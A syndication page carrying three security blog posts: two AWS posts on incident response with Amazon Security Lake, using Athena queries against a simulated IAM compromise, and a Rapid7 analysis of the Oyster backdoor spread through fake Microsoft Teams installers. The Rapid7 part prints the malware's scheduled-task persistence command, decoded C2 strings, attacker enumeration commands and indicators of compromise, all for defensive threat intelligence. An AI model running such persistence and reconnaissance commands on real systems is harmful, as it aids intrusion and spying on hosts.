Figure 1: Example architecture configured in the previous blog post

Figure 1: Example architecture configured in the previous blog post

The first phase of the NIST SP 800-61 framework is preparation, which was covered in part 1 of this two-part blog series. The following sections cover phase 2 (detection and analysis) and phase 3 (containment, eradication, and recovery) of the NIST framework, and demonstrate how Security Lake accelerates your incident response workflow by providing a central datastore of security logs and findings in a standardized format.

Consider a scenario where your security team has received an Amazon GuardDuty alert through Amazon EventBridge for anomalous user behavior. As a result, the team becomes aware of potential unintended data access. GuardDuty noted unusual IAM user activity for the AWS Identity and Access Management (IAM) user Service_Backup and generated a finding. The security team had set up a rule in EventBridge that sends an alert email notifying them of GuardDuty findings relating to IAM user activity. At this point, the security team is unsure if any malicious activity has occurred, however, the username is not familiar. The security team should investigate further to determine whether the finding is a false positive by querying data in Security Lake. In line with the NIST incident response framework, the team moves to phase 2 of this investigation.

Phase 2: Acquire, preserve, and document evidence

The security team wants to investigate which API calls the unfamiliar user has been making. First, the team checks AWS CloudTrail management activity for the user, and they can do that by using Security Lake. They want a list of that user’s activity, which will help them in several ways:

  1. Give them a list of API calls that warrant further investigation (especially Create*)
  2. Give an indication whether the activity is unusual or not (in the context of “typical” user activity within the account, team, user group, or individual user)
  3. Give an indication of when potentially malicious activity might have started (user history)

The team can use Amazon Athena to query CloudTrail management events that were captured by Security Lake. In some cases, compromised user accounts might have existed for a long time previously as legitimate users and made tens of thousands of API calls. In such a case, how would a security team identify the calls that might need further investigation? A quick way to get a summary list of API calls the user has made would be to run a query like the following:

SELECT DISTINCT api.operation FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE lower(actor.user.name) = 'service_backup'

From the results, the team can determine information and queries of interest to focus on for further investigation. To begin with, the security team uses the preceding query to enumerate the number and type of API calls made by the user, as shown in Figure 2.

Figure 2: Example API call summary made by an IAM user

Figure 2: Example API call summary made by an IAM user

The initial query results in Figure 2 show API calls that could indicate privilege elevation (creating users, attaching user policies, and similar calls are a good indicator). There are other API calls that indicate that additional resources may have been created, such as Amazon Simple Storage Service (Amazon S3) buckets and Amazon Elastic Compute Cloud (Amazon EC2) instances.

Note that in this early phase, the team didn’t time-bound the query. However, if there is a high degree of confidence that the team can focus on a specific time or date range, the query can be further modified. How would the team decide on a time period to focus on? When the team received the alert email from EventBridge, that email included information about the GuardDuty finding, including the time it was observed. The team can use that time as an anchor to search around.

The team now wants to look at the user’s activity in a bit more detail. To do that, they can use a query that returns more detail for each of the API calls the user has made:

SELECT time_dt AS "Time Date", metadata.product.name AS "Log Source", cloud.region, actor.user.type, actor.user.name, actor.user.account.uid AS "User AWS Acc ID", api.operation AS "API Operation", status AS "API Response", api.service.name AS "Service", api.request.data AS "Request Data"
FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE lower(actor.user.name) = 'service_backup';
Figure 3: Example CloudTrail activity for an IAM user

Figure 3: Example CloudTrail activity for an IAM user

Figure 3 shows the result of the example query. The team observes that the user created an S3 bucket and performed other management plane actions, including creating IAM users and attaching the administrator access policy to a newly created user. Attempts were made to create other resources such as Amazon EC2 instances, but these were not successful. So the team needs to do further investigation on the newly created IAM users and S3 buckets, but they don’t need to take further action on EC2 instances, at least for this user.

The team starts to focus on investigating the IAM permissions of the Service_Backup user because some resources created by this user could lead to privilege elevation (for example: CreateUser >> AttachPolicy >> CreateAccessKey). The team verifies that the policy attached to that new user was AdminAccess. The activities of this newly created user should be investigated. Now, with a broad idea of that user’s activity and the time the activity occurred, the security team wants to focus on IAM activity, so that they can understand what resources have been created. Those resources will likely also need to be investigated.

The team can use the following query to find more detail about the resources that the user has created, modified, or deleted. In this case, the user has also created additional IAM users and roles. The team uses timestamps to limit query results to a specific time range during which they believe the suspicious activity occurred, and can also focus on IAM activity specifically.

SELECT time_dt AS "Time", cloud.region AS "Region", actor.session.issuer AS "Role Issuer", actor.user.name AS "User Name", api.operation AS "API Call", json_extract(api.request.data, '$.userName') AS "Target Principal", json_extract(api.request.data, '$.policyArn') AS "Target Policy", json_extract(api.request.data, '$.roleName') AS "Target Role", actor.user.uid AS "User ID", user.name AS "Target Principal", status AS "Response Status", accountid AS "AWS Account"
FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE (lower(api.operation) LIKE 'create%' OR lower(api.operation) LIKE 'attach%' OR lower(api.operation) LIKE 'delete%')
AND lower(api.service.name) = 'iam.amazonaws.com'
AND lower(actor.user.name) = 'service_backup'
AND time_dt BETWEEN TIMESTAMP '2024-03-01 00:00:00.000' AND TIMESTAMP  '2024-05-31 23:59:00.000';
Figure 4: CloudTrail IAM activity for a specific user with additional resource detail

Figure 4: CloudTrail IAM activity for a specific user with additional resource detail

This additional detail helps the security team focus on the resources created by the Service_Backup user. These will need to be investigated further and most likely quarantined. If further analysis is required, resources can be disabled, or (in some instances) copied over to a forensic account to conduct the analysis.

Having identified newly created IAM resources that require further investigation, the team now continues by focusing on the resources created in S3. Has the Service_Backup user put objects into that bucket? Have they interacted with objects in any other buckets? To do that, the team queries the S3 data events by using Athena, as follows:

SELECT time_dt AS "Time Date", cloud.region AS "Region", actor.user.type, actor.user.name AS "User Name", api.operation AS "API Call", status AS "Status", api.request.data AS "Request Data", accountid AS "AWS Account ID"
FROM amazon_security_lake_table_us_west_2_s3_data_2_0
WHERE lower(actor.user.name) = 'service_backup';

The security team discovers that the Service_Backup user created an S3 bucket named breach.notify and uploaded a file named data-locked-xxx.txt in the bucket (the bucket name is also returned in the query results shown in Figure 3). Additionally, they see GetObject API calls for potentially sensitive data, followed by DeleteObject API calls for the same data and additional potentially sensitive data files. These are a group of CSV files, for example cc-data-2.csv, as shown in Figure 5.

Figure 5: Example Amazon S3 API activity for an IAM user

Figure 5: Example Amazon S3 API activity for an IAM user

Now the security team has two important goals:

  1. Protect and recover their data and resources
  2. Make sure that any applications that are reliant on those resources or data are available and serving customers

The security team knows that their S3 buckets do contain sensitive data, and they need a quick way to understand which files may be of value to a threat actor. Because the security team was able to quickly investigate their S3 data logs and determine that files have indeed been downloaded and deleted, they already have actionable information. To enrich that with additional context, the team needs a way to verify whether the file contains sensitive data. Amazon Macie can be configured to detect sensitive data in S3 buckets and natively integrate with Security Hub. The team had already configured Macie to scan their buckets and provide alerts if potentially sensitive data is discovered. The team can continue to use Athena to query Security Hub data stored in Security Lake, to see if the Macie results could be related to those files or buckets. The team looks for such findings that were generated around the time that the breach.notify S3 bucket was created, with the unusually named object uploaded, through the following Athena query:

SELECT time_dt AS "Date/Time", metadata.product.name AS "Log Source", cloud.account.uid AS "AWS Account ID", cloud.region AS "AWS Region", resources[1].type AS "Resource Type", resources[1].uid AS "Bucket ARN", resources[2].type AS "Resource Type 2", resources[2].uid AS "Object Name", finding_info.desc AS "Finding summary" FROM amazon_security_lake_table_us_west_2_sh_findings_2_0
WHERE cloud.account.uid = '<YOUR_AWS_ACCOUNT_ID>'
AND lower(metadata.product.name) = 'macie'
AND time_dt BETWEEN TIMESTAMP '2024-03-10 00:00:00.000' AND TIMESTAMP  '2024-03-14 23:59:00.000';
Figure 6: Example Amazon Macie finding summary for data in S3 buckets

Figure 6: Example Amazon Macie finding summary for data in S3 buckets

As Figure 6 shows, the team used the preceding query to pull just the information they needed to help them understand whether there is likely sensitive information in the bucket, which files contain that information, and what kind of information it is. From these results, it appears that the files listed do contain sensitive information, which appears to be credit card related data.

It’s time to stop and briefly review what the team now knows, and what still needs to be done. The team established that the Service_Backup user created additional IAM users and assigned wide-ranging permissions to those users. They also found that the Service_Backup user downloaded what appears to be confidential data, and then deleted those files from the customer’s buckets. Meanwhile, the Service_Backup user created a new S3 bucket and stored ransom files in it. In addition to this, that user also created IAM roles and attempted to create EC2 instances. In our example scenario, the first part of the investigation is complete.

There are a few things to note about what the team has done so far with Security Lake. First, because they’ve set up Security Lake across their entire organization, the team can query results from accounts in their organization, for various types of resources. That in itself saves a significant amount of time during the investigative process. Additionally, the team has seamlessly queried different sets of data to get an outcome—so far they have queried CloudTrail management events, S3 data events, and Macie findings through Security Hub—with the preceding queries done through Security Lake, directly from the Athena console, with no account or role switching, and no tool switching.

Next, we’ll move on to the containment step.

Phase 3: Containment, eradication, and recovery

Having gathered sufficient evidence in the previous phases to act, it’s now time for the team to contain this incident and focus on the AWS API by using either the AWS Management Console, the AWS CLI, or other tools. For the purposes of this blog post, we’ll use the CLI tools.

The team needs to perform several actions to contain the incident. They want to reduce the risk of further data exposure and the creation, modification, or deletion of resources in these AWS accounts. First, they will disable the Service_Backup user’s access and subsequently investigate and assess whether to disable the access of the IAM principal which created that user. Additionally, because Service_Backup created other IAM users, those users must also be investigated using the same process outlined earlier.

Next, the security team needs to determine whether or how they can restore the sensitive data that has been deleted from the bucket. If the bucket has versioning enabled, the act of deleting the object will result in the next most recent version becoming the current version. Alternatively, if they are using AWS Backup to protect their Amazon S3 data, they will be able to restore the most recently backed-up version. It’s worth noting that there could be other ways to restore that data—for example, the organization might have configured cross-Region replication for S3 buckets or other methods to protect their data.

After completing the steps to help prevent further access of the impacted IAM users, and restoring relevant data in impacted S3 buckets, the team now turns their attention to the additional resources created by the now-disabled user. Because these resources include IAM resources, the team needs a list of what has been created and deleted. They could see that information from earlier queries, but now decide to focus just on IAM resources by using the following example query;

SELECT time_dt AS "Time", cloud.region AS "Region", actor.session.issuer AS "Role Issuer", actor.user.name AS "User Name", api.operation AS "API Call", json_extract(api.request.data, '$.userName') AS "Target Principal", json_extract(api.request.data, '$.policyArn') AS "Target Policy", json_extract(api.request.data, '$.roleName') AS "Target Role", actor.user.uid AS "User ID", user.name AS "Target Principal", status AS "Response Status", accountid AS "AWS Account"
FROM amazon_security_lake_table_us_west_2_cloud_trail_mgmt_2_0
WHERE (lower(api.operation) LIKE 'create%' OR lower(api.operation) LIKE 'attach%' OR lower(api.operation) LIKE 'delete%')
AND lower(api.service.name) = 'iam.amazonaws.com'
AND time_dt BETWEEN TIMESTAMP '2024-03-01 00:00:00.000' AND TIMESTAMP  '2024-05-31 23:59:00.000';

This query returns a concise and informative list of activities for several users. There is a separate column for the role name or the user ID, corresponding to IAM roles and users, respectively, as shown in Figure 7.

Figure 7: IAM mutating API activity

Figure 7: IAM mutating API activity

The team uses the AWS CLI to revoke IAM role session credentials, to verify and, if necessary, to modify the role’s trust policy. They also capture an image of the EC2 instance for forensic analysis and terminate the instance. They will copy the data they want to save from the questionable S3 buckets and then delete the buckets, or at least remove the bucket policy.

After completing these tasks, the security team now confirms with the application owners that application recovery is complete or ongoing. They will subsequently review the event and undertake phase 4 of the NIST framework (post-incident activity) to find the root cause, look for opportunities for improvement, and work on remediating any configuration or design flaws that led to the initial breach.

Conclusion

This is the second post in a two-part series about accelerating security incident response with Security Lake. We used anomalous IAM user activity as an incident example to show how you can use Security Lake as a central repository for your security logs and findings, to accelerate the incident response process.

With Security Lake, your security team is empowered to use analytics tools like Amazon Athena to run queries against a central point of security logs and findings from various security data sources, including management logs and S3 data logs from AWS CloudTrail, Amazon Macie findings, Amazon GuardDuty findings, and more.

 
If you have feedback about this post, submit comments in the Comments section below. If you have questions about this post, contact AWS Support.

Frank Phillis

Frank Phillis
Frank is a Senior Solutions Architect (Security) at AWS. He enables customers to get their security architecture right. Frank specializes in cryptography, identity, and incident response. He’s the creator of the popular AWS Incident Response playbooks and regularly speaks at security events. When not thinking about tech, Frank can be found with his family, riding bikes, or making music.
You can follow Frank on LinkedIn.

Jerry Chen

Jerry Chen
Jerry is a Senior Cloud Optimization Success Solutions Architect at AWS. He focuses on cloud security and operational architecture design for AWS customers and partners.
You can follow Jerry on LinkedIn.

Malvertising Campaign Leads to Execution of Oyster Backdoor

Post Syndicated from Rapid7 original https://blog.rapid7.com/2024/06/17/malvertising-campaign-leads-to-execution-of-oyster-backdoor/

Malvertising Campaign Leads to Execution of Oyster Backdoor

The following analysts contributed to this blog: Thomas Elkins, Daniel Thiede, Josh Lockwood, Tyler McGraw, and Sasha Kovalev.

Executive Summary

Rapid7 has observed a recent malvertising campaign that lures users into downloading malicious installers for popular software such as Google Chrome and Microsoft Teams. The installers were being used to drop a backdoor identified as Oyster, aka Broomstick. Following execution of the backdoor, we have observed enumeration commands indicative of hands-on-keyboard activity as well as the deployment of additional payloads.

In this blog post, we will examine the delivery methods of the Oyster backdoor, provide an in-depth analysis of its components, and offer a Python script to help extract its obfuscated configuration.

Overview

Initial Access

In three separate incidents, Rapid7 observed users downloading supposed Microsoft Teams installers from typo-squatted websites. Users were directed to these websites after using search engines such as Google and Bing for Microsoft Teams software downloads. Rapid7 observed that the websites were masquerading as Microsoft Teams websites, enticing users into believing they were downloading legitimate software when, in reality, they were downloading the threat actor’s malicious software.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 1 – Fake Microsoft Teams Website

In one case, a user was observed navigating to the URL hxxps://micrsoft-teams-download[.]com/, which led to the download of the binary MSTeamsSetup_c_l_.exe. Initial analysis of the binary MSTeamsSetup_c_l_.exe showed that the binary was assigned by an Authenticode certificate issued to “Shanxi Yanghua HOME Furnishings Ltd”.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 2 – MSTeamsSetup_c_l_.exe File Information

Searching VirusTotal for other files signed by “Shanxi Yanghua HOME Furnishings Ltd” showed the following:

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 3 – VirusTotal Signature Search Results

The results indicated other versions of the installer, each impersonating as a legitimate software installer. We observed that the first installer was submitted to VirusTotal around mid-May 2024.

In a related incident that occurred on May 29, 2024, we observed another binary posing as a Microsoft Teams setup file, TMSSetup.exe, which was assigned a valid certificate issued to “Shanghai Ruikang Decoration Co., Ltd”. As of May 30, 2024, that certificate has been revoked.

VirusTotal analysis of the binary MSTeamsSetup_c_l_.exe indicates it is associated with a malware family known as Oyster, dubbed Broomstick by IBM.

What is Oyster/Broomstick?

Oyster aka Broomstick aka CleanUpLoader is a family of malware first spotted in September of 2023 by researchers at IBM. While not much is known about the malware, it was delivered via a loader called Oyster Installer, which masqueraded as a browser installer. The installer was responsible for dropping the backdoor component, Oyster Main. Oyster Main was responsible for gathering information about the compromised host, handling communication with the hard-coded command-and-control (C2) addresses, and providing the capability for remote code execution.

In February, researchers on Twitter observed the same backdoor component and started to name the Oyster Main backdoor, CleanUpLoader.

In recent incidents, Rapid7 has observed Oyster Main being delivered without the Oyster Installer.

Technical Analysis

Initial analysis of the binary MSTeamsSetup_c_l_.exe revealed that two binaries were stored within the resource section. During execution, a function was observed using FindResourceA to locate the binaries, followed by LoadResource to access them. These binaries were then subsequently dropped into the Temp folder. We observed that the intended names of the two binaries dropped by MSTeamsSetup_c_l_.exe were CleanUp30.dll and MSTeamsSetup_c_l_.exe (the legitimate Microsoft Teams installer).

After dropping the binary CleanUp30.dll into the Temp directory, the program executes the DLL, passing the string rundll32.exe %s,Test to the function CreateProcessA, where %s stores the value CleanUp30.dll.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 4 – Execution of CleanUp30.dll

After the execution of CleanUp30.dll, the program proceeds to initiate the legitimate Microsoft Teams installer, MSTeamsSetup_c_l_.exe, also located within the Temp directory. This tactic is employed to avoid raising suspicion from the user.

CleanUp30.dll Analysis

During the execution of CleanUp30.dll, Rapid7 observed that the binary starts by attempting to create the hard coded mutual exclusion (mutex) ITrkfSaV-4c7KwdfnC-Ds165XU4C-lH6R9pk1. Mutex creation is often used by programs in order to determine if the program is already running another instance. If the program is already running, the program will terminate the new instance.

After creating the mutex, the binary determines its execution path by calling the function GetModuleFilenameA. The value is stored as a string and used as a parameter for the creation of a scheduled task, ClearMngs. The scheduled task is created using the function ShellExecuteExW, passing the following as the command line:

schtasks.exe /create /tn ClearMngs /tr "rundll32 '<location of binary>\CleanUp30.dll',Test" /sc hourly /mo 3 /f

The purpose of the scheduled task ClearMngs is to execute the binary <location of binary>\CleanUp30.dll with the exported function of Test using rundll32.exe every three hours.

After the creation of the scheduled task, the binary then proceeds to decode its C2 servers using a unique decoding function. The decoding function begins by taking in a string of encoded characters, and its length is in bytes. The decoding function then proceeds to read in each byte, starting from the end of the encoded string.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 5 – The DLL’s Decoding Loop

Each byte of the encoded string is used as an index location to retrieve the decoded byte from a hard-coded byte map. A byte map is a byte array containing 256 bytes in a randomized order, one for each possible byte value from 1 to 256. Malware authors sometimes use this technique to obfuscate strings and other data. The iteration counter (i) used within the condition for the decoding loop is compared to half of the encoded string’s length as the decoding loop swaps two bytes at a time. The bytes of the encoded string are decoded and swapped beginning at the start and end bytes of the string and the decoding loop then progresses towards the center of the string from each end.

The loop swaps the bytes to reverse the decoded string, as the original plaintext strings stored in the malware were reversed prior to encoding. When the center of the string is reached, the decoding process is complete. Due to this algorithm, all the encoded strings that are passed must be of even length to avoid further processing. Immediately after the decoded string is loaded onto the stack, the malware then re-encodes the string using a similar loop. The final result for the first decoded string is a carriage return line feed (CRLF) delimited list of C2 domains.

We constructed a Python script that can decode all the encoded strings contained within the CleanUp.dll binaries, including previous versions. The Python script can be found in our GitHub repository.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 6 – Sample Output from Python Script

Using our Python script, it revealed some of the C2 functionality, along with several JSON fields that are used to build a fingerprint of the infected system:

Hex Encoded String Decoded String
2ec6a676766fc6f4960e86 api/connect
50b0aea6747686b64eaef69e2ec6a64e96262ea64e supfoundrysettlers.us
50b0b6f6c674a646a6b6f6164ea66ea64ea616ee whereverhomebe.com
50b0ceae74ce4ea6362e2ea6ce9e4e2676aef6660eaece retdirectyourman.eu
76f6ce56f476f6962e86c696360e0e86045ca60e9e2ab42e76a62e76f6c2 Content-Type: application/json
76f696cece65cef4960e86 api/session
a61ea67426b6c63a346ceaf2eace9eca3a \SysWOW64\cmd.exe
a61ea6744ccc36362676ae4e3a2c6ceaf2eace9eca3a \SysWOW64\rundll32.exe
d2f2 OK
3a0eb6a62a3a \Temp\
445c442696fa267686b6b6f6c6443444 ","command_id":"
be44 "}
445c44649644de {"id":"
445c442e36aecea64e443444 ","result":"
445c442696fa76f696cecea6ce443444 ","session_id":"
445c44ceae2e862ece443444 ","status":"
2e1e2e740eae7686a636c63a \cleanup.txt
445c44a6b68676fa4e652eae0eb6f6c6443444 ","computer_name":"
0ccc445c4476f696ce72a66efa363626443444 ","dll_version":"30
445c44769686b6f626443444 ","domain":"
be44 "}
445c44649644de {"id":"
445c443686c6f636fa0e96443444 ","ip_local":"
445c44cef6443444 ","os":"
445c44263696ae46facef6443444 ","os_build":"
445c44a6e6a636656e964e0e443444 ","privilege":"

After the binary decodes the C2 addresses, the program proceeds to fingerprint the infected machine, using the following functions:

Function Description
DsRoleGetPrimaryDomainInformation Used to gather information about the domain the compromised machine resides in. In particular, the function returns the domain name.
GetUserNameW Provides the name of the user in which the program is running under.
NetUserGetInfo Provides details of the user under which the program is running. In this case, the program is querying if the user is admin or user.
GetComputerNameW Provides the name of the compromised machine in which the binary is running on.
RtlGetVersion Returns version information about the currently running operating system including name and version number.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 7 – A Selection of Contents of the CleanUp30.dll Code that Outline the Collection of System Information

While enumerating information about the host, the information is stored in the JSON fields uncovered from the encoded strings identified above.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 8 – Example of the Data Collected and Sent via HTTP POST to the Malicious Domains

The fingerprint information is encoded using the same loop previously discussed, where the data string is reversed and encoded using a byte map before being sent.

After the information is encoded, it is sent to the domains whereverhomebe[.]com/, supfoundrysettlers[.]us/, and retdirectyourman[.]eu/ via HTTP POST method. Rapid7 determined that CleanUp30.dll uses the open-source C++ library Boost.Beast to communicate with the observed C2 domains via HTTP and web sockets.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 9 – Captured Network Traffic Attempting to Send POST Requests to whereverhomebe[.]com/ and supfoundrysettlers[.]us/ Following the Execution of CleanUp30.dll

Follow-on Activity

In one of the incidents Rapid7 observed, a PowerShell script was spawned following the execution of another version of CleanUp30.dll, CleanUp.dll. CleanUp.dll, similar to CleanUp30.dll, was originally dropped by the other fake Microsoft Teams installer, TMSSetup.exe, which dropped the binary into the AppData/Local/Temp directory as well.

Malvertising Campaign Leads to Execution of Oyster Backdoor
Figure 10 – PowerShell Command Creating .lnk File DiskCleanUp.lnk

The purpose of the PowerShell script was to create a shortcut LNK file named DiskCleanUp.lnk within C:\Users\<User>\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\. By doing so, this ensured that the LNK file DiskCleanUp.lnk would be run each time the user logged in. The shortcut LNK file was responsible for executing the binary CleanUp.dll using rundll32.exe, passing the export Test.
Following the execution of the PowerShell script, Rapid7 observed execution of additional payloads:

  • k1.ps1
  • main.dll
  • getresult.exe

Unfortunately, during the incident, we were unable to acquire the additional payloads. During the incidents, Rapid7 also observed execution of the following enumeration commands:

Enumeration Description
systeminfo Provides information about the system’s software and hardware configuration
arp -a Shows a list of all IP addresses that the local computer has recently interacted with, along with their corresponding MAC addresses
net group ‘domain computers’ /domain Lists the "Domain Computers" group within an Active Directory domain
"C:\Windows\system32\nslookup.exe" myip.opendns.com resolver1.opendns.com Determines the external IP address
whoami /all Provides detailed information about the current user including user’s privileges, group memberships, and security identifiers (SIDs)
nltest /dclist:<domain_name> Lists all the domain controllers (DCs) for a specific domain
net user admin Provides detailed information about the user ‘admin’ including profile information, group memberships, local group memberships, etc
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Uninstall /s Queries the registry to find information about installed software
findstr "DisplayName" Used to filter information, showing only items contained under "DisplayName"

Rapid7 Customers

InsightIDR and Managed Detection and Response customers have existing detection coverage through Rapid7’s expansive library of detection rules. Rapid7 recommends installing the Insight Agent on all applicable hosts to ensure visibility into suspicious processes and proper detection coverage. Below is a non-exhaustive list of detections that are deployed and will alert on behavior related to this malware campaign:

  • Persistence – SchTasks Creating A Task Pointed At Users Temp Or Roaming Directory
  • Suspicious Process: RunDLL32 launching CMD or PowerShell
  • Persistence – Schtasks.exe Creating Task That Executes RunDLL32
  • Network Discovery – Nltest Enumerate Domain Controllers
  • Attacker Technique – Determining External IP Via Command Line
  • Suspicious Process – .lnk in PowerShell Command Line

MITRE ATT&CK Techniques

Tactic Technique Description
Resource Development Acquire Infrastructure: Domains (T1583.001) Threat Actor set up typo-squatted domain micrsoft-teams-download[.]com in order to aid in the delivery of the executable MSTeamsSetup_c_l_.exe
Execution Command and Scripting Interpreter: Powershell (T1059.001) Used to create .lnk file DiskCleanUp.lnk and execute the PowerShell payload k1.ps1
Execution User Execution: Malicious File (T1204.002) User executes the binary MSTeamsSetup_c_l_.exe
Persistence Scheduled Task (T1053.005) CleanUp30.DLL and CleanUp.DLL create scheduled task ClearMngs
Defense Evasion Masquerading: Match Legitimate Name or Location (T1036.005) MSTeamsSetup_c_l_.exe masquerades as legitimate Microsoft Teams installer
Defense Evasion Virtualization/Sandbox Evasion: Time Based Evasion (T1497.003) Execution delays are performed by several stages throughout the attack flow
Collection Data from Local System (T1005) Threat Actors enumerated information about compromised hosts using the backdoor CleanUp DLL’s
Command and Control Data Encoding – Non Standard Encoding (T1132.002) CleanUp DLL’s send encoded data to C2’s using unique encoding function

IOCs

IOC Hash Description
TMSSetup.exe 9601f3921c2cd270b6da0ba265c06bae94fd7d4dc512e8cb82718eaa24accc43 The malicious executable downloaded from prodfindfeatures[.]com/
MSTeamsSetup_c_l_.exe 574C70E84ECDAD901385A1EBF38F2EE74C446034E97C33949B52F3A2FDDCD822 The malicious executable downloaded from prodfindfeatures[.]com/
CleanUp30.dll CFC2FE7236DA1609B0DB1B2981CA318BFD5FBBB65C945B5F26DF26D9F948CBB4 The .dll file that is run by run32dll.exe following the execution of MSTeamsSetup_c_l_.exe
CleanUp.dll 82B246D8E6FFBA1ABAFFBD386470C45CEF8383AD19394C7C0622C9E62128CB94 The .dll file that is run by run32dll.exe following the execution of TMSSetup.exe
DiskCleanUp.lnk b53f3c0cd32d7f20849850768da6431e5f876b7bfa61db0aa0700b02873393fa An .lnk file that was created following the execution of CleanUp30.dll
prodfindfeatures[.]com/ The domain hosting the malicious files TMSSetup (1).exe and MSTeamsSetup_c_l_.exe
micrsoft-teams-download[.]com/ The typo-squatted domain that users visited
impresoralaser[.]pro/ Part of the domain redirect chain for downloads of TMSSetup (1).exe and MSTeamsSetup_c_l_.exe
whereverhomebe[.]com/ Domain that CleanUp30.dll and CleanUp.dll attempts to communicate with
supfoundrysettlers[.]us/ Domain that CleanUp30.dll and CleanUp.dll attempts to communicate with
retdirectyourman[.]eu/ Domain that CleanUp30.dll and CleanUp.dll attempts to communicate with
149.248.79[.]62 Resolving IP for whereverhomebe[.]com/
64.95.10[.]243 Resolving IP for supfoundrysettlers[.]us/
206.166.251[.]114 Resolving IP for retdirectyourman[.]eu/

References

Article URL
Broomstick Malware Profile https://exchange.xforce.ibmcloud.com/malware-analysis/guid:08822f57c12416bc3e74997c473d1889
Twitter Mention of CleanUpLoader https://x.com/RussianPanda9xx/status/1757932257765945478

Accelerate incident response with Amazon Security Lake

Post Syndicated from Jerry Chen original https://aws.amazon.com/blogs/security/accelerate-incident-response-with-amazon-security-lake/

This blog post is the first of a two-part series that will demonstrate the value of Amazon Security Lake and how you can use it and other resources to accelerate your incident response (IR) capabilities. Security Lake is a purpose-built data lake that centrally stores your security logs in a common, industry-standard format. In part one, we will first demonstrate the value Security Lake can bring at each stage of the National Institute of Standards and Technology (NIST) SP 800-61 Computer Security Incident Handling Guide. We will then demonstrate how you can configure Security Lake in a multi-account deployment by using the AWS Security Reference Architecture (AWS SRA).

In part two of this series, we’ll walk through an example to show you how to use Security Lake and other AWS services and tools to drive an incident to resolution.

At Amazon Web Services (AWS), security is our top priority. When security incidents occur, customers need the right capabilities to quickly investigate and resolve them. Security Lake enhances your capabilities, especially during the detection and analysis stages, which can reduce time to resolution and business impact. We also cover incident response specifically in the security pillar of the AWS Well-Architected Framework, provide prescriptive guidance on preparing for and handling incidents, and publish incident response playbooks.

Incident response life cycle

NIST SP 800-61 describes a set of steps you use to resolve an incident. These include preparation (Stage 1), detection and analysis (Stage 2), containment, eradication and recovery (Stage 3), and finally post-incident activities (Stage 4).

Figure 1 shows the workflow of incident response defined by NIST SP 800-61. The response flows from Stage 1 through Stage 4, with Stages 2 and 3 often being an iterative process. We will discuss the value of Security Lake at each stage of the NIST incident response handling process, with a focus on preparation, detection, and analysis.

Figure 1: NIST 800-61 incident response life cycle. Source: NIST 800-61

Figure 1: NIST 800-61 incident response life cycle. Source: NIST 800-61

Stage 1: Preparation

Preparation helps you ensure that tools, processes, and people are prepared for incident response. In some cases, preparation can also help you identify systems, networks, and applications that might not be sufficiently secure. For example, you might determine you need certain system logs for incident response, but discover during preparation that those logs are not enabled.

Figure 2 shows how Security Lake can accelerate the preparation stage during the incident response process. Through native integration with various security data sources from both AWS services and third-party tools, Security Lake simplifies the integration and concentration of security data, which also facilitates training and rehearsal for incident response.

Figure 2: Amazon Security Lake data consolidation for IR preparation

Figure 2: Amazon Security Lake data consolidation for IR preparation

Some challenges in the preparation stage include the following:

  • Insufficient incident response planning, training, and rehearsal – Time constraints or insufficient resources can slow down preparation.
  • Complexity of system integration and data sources – An increasing number of security data sources and integration points require additional integration effort, or increase risk that some log sources are not integrated.
  • Centralized log repository for mixed environments – Customers with both on-premises and cloud infrastructure told us that consolidating logs for those mixed environments was a challenge.

Security Lake can help you deal with these challenges in the following ways:

  • Simplify system integration with security data normalization
  • Streamline data consolidation across mixed environments
    • Security Lake supports multiple log sources, including AWS native services and custom sources, which include third-party partner solutions, other cloud platforms and your on-premises log sources. For example, see this blog post to learn how to ingest Microsoft Azure activity logs into Security Lake.
  • Facilitate IR planning and testing
    • Security Lake reduces the undifferentiated heavy lifting needed to get security data into tooling so teams spend less time on configuration and data extract, transform, and load (ETL) work and more time on preparedness.
    • With a purpose-built security data lake and data retention policies that you define, security teams can integrate data-driven decision making into their planning and testing, answering questions such as “which incident handling capabilities do we prioritize?” and running Well-Architected game days.

Stages 2 and 3: Detection and Analysis, Containment, Eradication and Recovery

The Detection and Analysis stage (Stage 2) should lead you to understand the immediate cause of the incident and what steps need to be taken to contain it. Once contained, it’s critical to fully eradicate the issue. These steps form Stage 3 of the incident response cycle. You want to ensure that those malicious artifacts or exploits are removed from systems and verify that the impacted service has recovered from the incident.

Figure 3 shows how Security Lake can enable effective detection and analysis. Doing so enables teams to quickly contain, eradicate, and recover from the incident. Security Lake natively integrates with other AWS analytics services, such as Amazon Athena, Amazon QuickSight, and Amazon OpenSearch Service, which makes it easier for your security team to generate insights on the nature of the incident and to take relevant remediation steps.

Figure 3: Amazon Security Lake accelerates IR Detection and Analysis, Containment, Eradication, and Recovery

Figure 3: Amazon Security Lake accelerates IR Detection and Analysis, Containment, Eradication, and Recovery

Common challenges present in stages 2 and 3 include the following:

  • Challenges generating insights from disparate data sources
    • Inability to generate insights from security data means teams are less likely to discover an incident, as opposed to having the breach revealed to them by a third party (such as a threat actor).
    • Breaches disclosed by a threat actor might involve higher costs than incidents discovered by the impacted organizations themselves, because typically the unintended access has progressed for longer and impacted more resources and data than if the impacted organization discovered it sooner.
  • Inconsistency of data visibility and data siloing
    • Security log data silos may slow IR data analysis because it’s challenging to gather and correlate the necessary information to understand the full scope and impact of an incident. This can lead to delays in identifying the root cause, assessing the damage, and taking remediation steps.
    • Data silos might also mean additional permissions management overhead for administrators.
  • Disparate data sources add barriers to adopting new technology, such as AI-driven security analytics tools
    • AI-driven security analysis requires a large amount of security data from various data sources, which might be in disparate formats. Without a centralized security data repository, you might need to make additional effort to ingest and normalize data for model training.

Security Lake offers native support for log ingestion for a range of AWS security services, including AWS CloudTrail, AWS Security Hub, and VPC Flow Logs. Additionally, you can configure Security Lake to ingest external sources. This helps enrich findings and alerts.

